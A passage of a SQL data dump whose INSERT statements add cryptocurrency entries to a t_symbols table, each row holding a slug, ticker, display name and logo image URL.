'Banano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banano.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (764, 'aurory', 'AURY', 'Aurory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurory.png', NULL); +INSERT INTO `t_symbols` VALUES (765, 'kapital-dao', 'KAP', 'Kapital DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1414699107214573569.jpg', NULL); +INSERT INTO `t_symbols` VALUES (766, 'bytecoin-bcn', 'BCN', 'Bytecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytecoin-bcn.png', NULL); +INSERT INTO `t_symbols` VALUES (767, 'colossusxt', 'COLX', 'ColossusXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/colossusxt.png', NULL); +INSERT INTO `t_symbols` VALUES (768, 'jackpot', '777', 'Jackpot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jackpot.png', NULL); +INSERT INTO `t_symbols` VALUES (769, 'suku', 'SUKU', 'SUKU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suku.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (770, '0chain', 'ZCN', '0chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0chain.png', NULL); +INSERT INTO `t_symbols` VALUES (771, 'vertcoin', 'VTC', 'Vertcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vertcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (772, 'tornado-cash', 'TORN', 'Tornado Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tornado-cash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (773, 'obsr', 'OBSR', 'Observer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obsr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (774, 'rebelbots', 'RBLS', 'Rebel Bots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/rebelbots.png', NULL); +INSERT INTO `t_symbols` VALUES (775, 'te-food', 'TONE', 'TE-FOOD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/te-food.png', NULL); +INSERT INTO `t_symbols` VALUES (776, 'super-gold', 'SPG', 'Super Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (777, 'loki', 'OXEN', 'Oxen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loki.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (778, 'bikan', 'KAN', 'BitKan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bikan.png', NULL); +INSERT INTO `t_symbols` VALUES (779, 'qunqun', 'QUN', 'QunQun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/qunqun_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (780, 'anglelabs', 'ANGLE', 'Angle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/anglelabs.png', NULL); +INSERT INTO `t_symbols` VALUES (781, 'jupiter', 'JUP', 'Jupiter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jupiter.png', NULL); +INSERT INTO `t_symbols` VALUES (782, 'coins', 'COINS', 'coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coins.png', NULL); +INSERT INTO `t_symbols` VALUES (783, 'one', 'ONE', 'One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one.png', NULL); +INSERT INTO `t_symbols` VALUES (784, 'dora-factory', 'DORA', 'Dora Factory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dora-factory.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (785, 'tch', 'TCH', 'TigerCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tch.png', NULL); +INSERT INTO `t_symbols` VALUES (786, 'proximax', 'XPX', 'ProximaX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proximax.jpg', NULL); +INSERT INTO `t_symbols` VALUES (787, 'project-galaxy', 'GAL', 'Galatasaray Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (788, 'b2bcoin', 'BBC', 'Tradove B2BCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2bcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (789, 'contents-protocol', 'CPT', 'Contents Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contents-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (790, 'as-roma', 'ASR', 'AS Roma Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/as-roma.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (791, 'tland', 'TLAND', 'TokenLand Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tland.png', NULL); +INSERT INTO `t_symbols` VALUES (792, 'qb', 'QB', 'qb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (793, 'svd', 'SVD', 'Savedroid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/svd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (794, 'whale', 'WHALE', 'WHALE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whale.png', NULL); +INSERT INTO `t_symbols` VALUES (795, 'emirex-token', 'EMRX', 'Emirex Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emirex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (796, 'wpp-token', 'WPP', 'WPP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wpp-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (797, 'sait', 'SAIT', 'Sophon Capital Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sait.jpg', NULL); +INSERT INTO `t_symbols` VALUES (798, 'taki', 'TAKI', 'TAKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/taki.png', NULL); +INSERT INTO `t_symbols` VALUES (799, 'shping', 'SHPING', 'Shping', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shping.jpg', NULL); +INSERT INTO `t_symbols` VALUES (800, 'beowulf', 'BWF', 'Beowulf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beowulf.png', NULL); +INSERT INTO `t_symbols` VALUES (801, 'hpt', 'HPT', 'Huobi Pool', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpt.png', NULL); +INSERT INTO `t_symbols` VALUES (802, 'projectwith', 'WIKEN', 'Project WITH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectwith.png', NULL); +INSERT INTO `t_symbols` VALUES (803, 'now-token', 'NOW', 'ChangeNOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/now-token.png', NULL); +INSERT INTO `t_symbols` VALUES (804, 'quickx', 'QCX', 'QuickX Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quickx.png', NULL); +INSERT INTO `t_symbols` VALUES (805, 'verynifty', 'MUSE', 'Muse DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verynifty.png', NULL); +INSERT INTO `t_symbols` VALUES (806, 'coinloan', 'CLT', 'CoinLoan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinloan.jpg', NULL); +INSERT INTO `t_symbols` VALUES (807, 'elixir', 'ELIX', 'Elixir', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elixir.png', NULL); +INSERT INTO `t_symbols` VALUES (808, 'hotb', 'HOTB', 'hotb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotb.png', NULL); +INSERT INTO `t_symbols` VALUES (809, 'voxies', 'VOXEL', 'Voxies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voxies.png', NULL); +INSERT INTO `t_symbols` VALUES (810, 'webdollar', 'WEBD', 'webdollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webdollar.png', NULL); +INSERT INTO `t_symbols` VALUES (811, 'digixdao', 'DGD', 'DigixDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digixdao.png', NULL); +INSERT INTO `t_symbols` VALUES (812, 'bhtx', 'BHTX', 'BHTX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhtx.png', NULL); +INSERT INTO `t_symbols` VALUES (813, 'dtraveltoken', 'TRVL', 'TRVL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dtravel.png', NULL); +INSERT INTO `t_symbols` VALUES (814, 'nexus', 'NXS', 'Nexus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexus.png', NULL); +INSERT INTO `t_symbols` VALUES (815, 'ict', 'ICT', 'ict', NULL, NULL); +INSERT INTO `t_symbols` VALUES (816, 'grid', 'GRID', 'Grid+', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grid.png', NULL); +INSERT INTO `t_symbols` VALUES (817, 'prchain', 'PR', 'prchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (818, 'orbitcoin', 'ORB', 'Orbitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Orbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (819, 'suncontract', 'SNC', 'SunContract', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suncontract.png', NULL); +INSERT INTO `t_symbols` VALUES (820, 'blockport', 'BUX', 'BUX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockport.png', NULL); +INSERT INTO `t_symbols` VALUES (821, 'revv', 'REVV', 'REVV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revv.png', NULL); +INSERT INTO `t_symbols` VALUES (822, 'sentinel', 'DVPN', 'Sentinel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel.png', NULL); +INSERT INTO `t_symbols` VALUES (823, 'jac', 'JAC', 'JAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jac.png', NULL); +INSERT INTO `t_symbols` VALUES (824, 'haven-protocol', 'XHV', 'Haven', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/haven-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (825, 'darwinia-network-native-token', 'RING', 'Darwinia Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-network-native-token.png', NULL); +INSERT INTO `t_symbols` VALUES (826, 'beam', 'BEAM', 'BEAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/beam.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (827, 'atn', 'ATN', 'ATN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atn.png', NULL); +INSERT INTO `t_symbols` VALUES (828, 'invictus-hyperion-fund', 'IHF', 'Invictus Hyperion Fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/invictus-hyperion-fund.jpg', NULL); +INSERT INTO `t_symbols` VALUES (829, 'crypterium', 'CRPT', 'Crypterium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypterium.png', NULL); +INSERT INTO `t_symbols` VALUES (830, 'karmaapp', 'KARMA', 'KARMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karmaapp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (831, 'bitforex', 'BF', 'Bitforex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitforex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (832, 'dao-casino', 'BET', 'DAOBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-casino.png', NULL); +INSERT INTO `t_symbols` VALUES (833, 'safex-cash', 'SFX', 'Safex Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safex-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (834, 'beat', 'BEAT', 'BEAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (835, 'marvrodi-salute-vison', 'MSV', 'Marvrodi Salute Vison', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marvrodi-salute-vison.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (836, 'colu-local-network', 'CLN', 'Colu Local Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/colu-local-network.png', NULL); +INSERT INTO `t_symbols` VALUES (837, 'dadi', 'EDGE', 'Edge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dadi.png', NULL); +INSERT INTO `t_symbols` VALUES (838, 'wbabachain-token', 'WBBT', 'wbabachain-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wbabachain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (839, 'linkercoin', 'LNC', 'Linker Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (840, 'kubocoin', 'KUBO', 'KuboCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kubocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (841, 'cardstack', 'CARD', 'Cardstack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardstack.png', NULL); +INSERT INTO `t_symbols` VALUES (842, 'step-app', 'FITFI', 'Step App', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-app.png', NULL); +INSERT INTO `t_symbols` VALUES (843, 'bosagora', 'BOA', 'BOSAGORA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bosagora.png', NULL); +INSERT INTO `t_symbols` VALUES (844, 'infinity-pad', 'IPAD', 'Infinity Pad [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinity%20Pad.png', NULL); +INSERT INTO `t_symbols` VALUES (845, 'unitrade', 'TRADE', 'Unitrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unitrade.png', NULL); +INSERT INTO `t_symbols` VALUES (846, 'gridcoin', 'GRC', 'Gridcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gridcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (847, 'modum', 'MOD', 'Modum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modum.png', NULL); +INSERT INTO `t_symbols` VALUES (848, 'cindicator', 'CND', 'Cindicator', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cindicator.png', NULL); +INSERT INTO `t_symbols` VALUES (849, 'santiment', 'SAN', 'Santiment Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/santiment.png', NULL); +INSERT INTO `t_symbols` VALUES (850, 'slx', 'BYTZ', 'BYTZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slx.png', NULL); +INSERT INTO `t_symbols` VALUES (851, 'valor-token', 'VALOR', 'Smart Valor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/valor-token.png', NULL); +INSERT INTO `t_symbols` VALUES (852, 'hyperplay', 'HPS', 'hyperplay', NULL, NULL); +INSERT INTO `t_symbols` VALUES (853, 'nex', 'NEX', 'Nash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nex.png', NULL); +INSERT INTO `t_symbols` VALUES (854, 'trittium', 'TRTT', 'Trittium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trittium.png', NULL); +INSERT INTO `t_symbols` VALUES (855, 'dynamic', 'DYN', 'Dynamic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamic.png', NULL); +INSERT INTO `t_symbols` VALUES (856, 'energi', 'NRG', 'Energi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energi.jpg', NULL); +INSERT INTO `t_symbols` VALUES (857, 'wrapped-ampleforth', 'WAMPL', 'Wrapped Ampleforth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-ampleforth.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (858, 'dhedge-dao', 'DHT', 'dHEDGE DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhedge-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (859, 'cryptex-finance', 'CTX', 'Cryptex Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptex-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (860, 'callisto-network', 'CLO', 'Callisto Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/callisto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (861, 'aura', 'AURA', 'Aura Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/auranetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (862, 'electric-vehicle-zone', 'EVZ', 'Electric Vehicle Zone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electric-vehicle-zone.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (863, 'ztcoin', 'ZT', 'ZBG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ztcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (864, 'rari-governance-token', 'RGT', 'Rari Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rari-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (865, 'share-token', 'SHR', 'Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/share-token.png', NULL); +INSERT INTO `t_symbols` VALUES (866, 'ferrum-network', 'FRM', 'Ferrum Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ferrum-network.png', NULL); +INSERT INTO `t_symbols` VALUES (867, 'xaya', 'CHI', 'Xaya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xaya.jpg', NULL); +INSERT INTO `t_symbols` VALUES (868, 'chain-games', 'CHAIN', 'Chain Games', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain-games.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (869, 'troy-trade', 'TROY', 'Troy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/troy-trade.png', NULL); +INSERT INTO `t_symbols` VALUES (870, 'xdai', 'XDAI', 'XDAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai.png', NULL); +INSERT INTO `t_symbols` VALUES (871, 'particl', 'PART', 'Particl', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/particl.png', NULL); +INSERT INTO `t_symbols` VALUES (872, 'b2bx', 'B2B', 'B2BX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2bx.png', NULL); +INSERT INTO `t_symbols` VALUES (873, 'jul', 'JUL', 'JustLiquidity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jul.png', NULL); +INSERT INTO `t_symbols` VALUES (874, 'mimblewimble', 'MWC', 'MimbleWimbleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mimblewimblecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (875, 'sidus-sidustoken', 'SIDUS', 'Sidus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sidus.png', NULL); +INSERT INTO `t_symbols` VALUES (876, 'bhpcash', 'BHP', 'bhpcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhpcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (877, 'transfercoin', 'TX', 'TransferCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transfercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (878, 'cashaa', 'CAS', 'Cashaa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashaa.png', NULL); +INSERT INTO `t_symbols` VALUES (879, 'fex', 'FEX', 'FEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fex.png', NULL); +INSERT INTO `t_symbols` VALUES (880, 'xfc', 'XFC', 'Football Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (881, 'gapp-network', 'GAP', 'GAPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gapp-network.png', NULL); +INSERT INTO `t_symbols` VALUES (882, 'block', 'BLOCK', 'Blockasset', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blockasset.png', NULL); +INSERT INTO `t_symbols` VALUES (883, 'nav-coin', 'NAV', 'Navcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nav-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (884, 'storiqa', 'STQ', 'Storiqa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storiqa.png', NULL); +INSERT INTO `t_symbols` VALUES (885, 'bifrost-native-token', 'BNC', 'Bifrost Native Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bifrostglobal.png', NULL); +INSERT INTO `t_symbols` VALUES (886, 'monkeyball', 'MBS', 'MonkeyLeague', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monkeyball.png', NULL); +INSERT INTO `t_symbols` VALUES (887, 'insights-network', 'INSTAR', 'Insights Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insights-network.png', NULL); +INSERT INTO `t_symbols` VALUES (888, 'starcoin', 'STC', 'Starcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (889, 'sinovate', 'SIN', 'SINOVATE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sinovate.png', NULL); +INSERT INTO `t_symbols` VALUES (890, 'jobchain', 'JOB', 'Jobchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jobchain.png', NULL); +INSERT INTO `t_symbols` VALUES (891, 'xlq', 'XLQ', 'ALQO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xlq.jpg', NULL); +INSERT INTO `t_symbols` VALUES (892, 'yffs-finance', 'YFFS', 'YFFS Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffs-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (893, 'everus', 'EVR', 'Everus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everus.png', NULL); +INSERT INTO `t_symbols` VALUES (894, 'vinchain', 'VIN', 'VINchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vinchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (895, 'hi-mutual-society', 'HMC', 'Hi Mutual Society', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hi-mutual-society.png', NULL); +INSERT INTO `t_symbols` VALUES (896, 'colony', 'CLY', 'Colony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (897, 'robonomics-network', 'XRT', 'Robonomics Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robonomics-network.png', NULL); +INSERT INTO `t_symbols` VALUES (898, 'bismuth', 'BIS', 'Bismuth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bismuth.png', NULL); +INSERT INTO `t_symbols` VALUES (899, 'bigbang-core', 'BBC', 'BigBang Core', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigbang-core.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (900, 'factom', 'FCT', 'Factom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/factom.png', NULL); +INSERT INTO `t_symbols` VALUES (901, 'dew', 'DEW', 'DEW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dew.png', NULL); +INSERT INTO `t_symbols` VALUES (902, 'restart-energy-mwat', 'MWAT', 'Restart Energy MWAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/restart-energy-mwat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (903, 'pib', 'PIB', 'Pibble', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pib.jpg', NULL); +INSERT INTO `t_symbols` VALUES (904, 'gny', 'GNY', 'GNY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gny.png', NULL); +INSERT INTO `t_symbols` VALUES (905, 'defi-yield-protocol', 'DYP', 'Dypius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defi-yield-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (906, 'chainx', 'PCX', 'ChainX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainx.png', NULL); +INSERT INTO `t_symbols` VALUES (907, 'multivac', 'MTV', 'MultiVAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/multivac.png', NULL); +INSERT INTO `t_symbols` VALUES (908, 'morpheus-labs', 'MITX', 'Morpheus Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpheus-labs.png', NULL); +INSERT INTO `t_symbols` VALUES (909, 'fabrk', 'FAB', 'FABRK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabrk.png', NULL); +INSERT INTO `t_symbols` VALUES (910, 'atheios', 'ATH', 'Athos Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atheios.png', NULL); +INSERT INTO `t_symbols` VALUES (911, 'oduwa', 'OWC', 'Oduwa Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oduwa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (912, 'tokenomy', 'TEN', 'Tokenomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenomy.png', NULL); +INSERT INTO `t_symbols` VALUES (913, 'kambria', 'KAT', 'Kambria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kambria.jpg', NULL); +INSERT INTO `t_symbols` VALUES (914, 'bitsdaq', 'BQQQ', 'BQQQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsdaq.png', NULL); +INSERT INTO `t_symbols` VALUES (915, 'hade-platform', 'HADE', 'Hade Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hade-platform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (916, 'sdchain', 'SDA', 'sdchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdchain.png', NULL); +INSERT INTO `t_symbols` VALUES (917, 'yeed', 'YEED', 'YGGDRASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yeed.png', NULL); +INSERT INTO `t_symbols` VALUES (918, 'digital-asset-guarantee-token', 'DAGT', 'Digital Asset Guarantee Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-asset-guarantee-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (919, 'lamb', 'LAMB', 'Lambda', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/lamb.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (920, 'awc', 'AWC', 'Atomic Wallet Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/awc.png', NULL); +INSERT INTO `t_symbols` VALUES (921, 'naviaddress', 'NAVI', 'Naviaddress', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/naviaddress.png', NULL); +INSERT INTO `t_symbols` VALUES (922, 'apm-coin', 'APM', 'apM Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apm-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (923, 'twdt', 'TWDT', 'TWDT-ETH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/twdt.png', NULL); +INSERT INTO `t_symbols` VALUES (924, 'vetri', 'VLD', 'Vetri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vetri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (925, 'v-systems', 'VSYS', 'V.SYSTEMS', 